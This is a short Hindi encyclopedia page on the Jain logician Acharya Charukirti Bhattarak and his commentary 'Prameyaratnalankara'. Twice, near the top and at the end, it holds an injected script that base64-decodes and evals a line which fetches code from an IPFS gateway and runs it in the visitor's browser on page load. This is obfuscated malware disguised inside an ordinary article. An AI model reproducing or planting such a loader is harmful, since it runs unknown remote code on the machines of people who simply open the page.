चारुकीर्ति भट्टारक
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित ११:३५, ७ अगस्त २०१० का अवतरण (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}')
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आचार्य चारुकीर्ति भट्टारक / Acharya Charukirti bhattarak
- ये वि0 सं0 की 18वीं शती के तार्किक हैं।
- इन्होंने माणिक्यनन्दि के परीक्षामुख पर बहुत से ही विशद एवं प्रौढ़ व्याख्या 'प्रमेयरत्नालंकार' लिखी है, जो मैसूर यूनिवर्सिटी से प्रकाशित है।
- रचना तर्कपूर्ण है।
- इसमें नव्यन्याय का भी अनेक स्थलों पर समावेश है।
- चारुकीर्ति की विद्वत्ता और पाण्डित्य दोनों इसमें दृष्टिगोचर होते हैं।
- इन्हीं अथवा दूसरे चारुकीर्ति की 'अर्थप्रकाशिका' भी है, जो प्रमेयरत्नमाला की संक्षिप्त व्याख्या है।
- ये 'पण्डिताचार्य' की उपाधि से विभूषित थे।
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>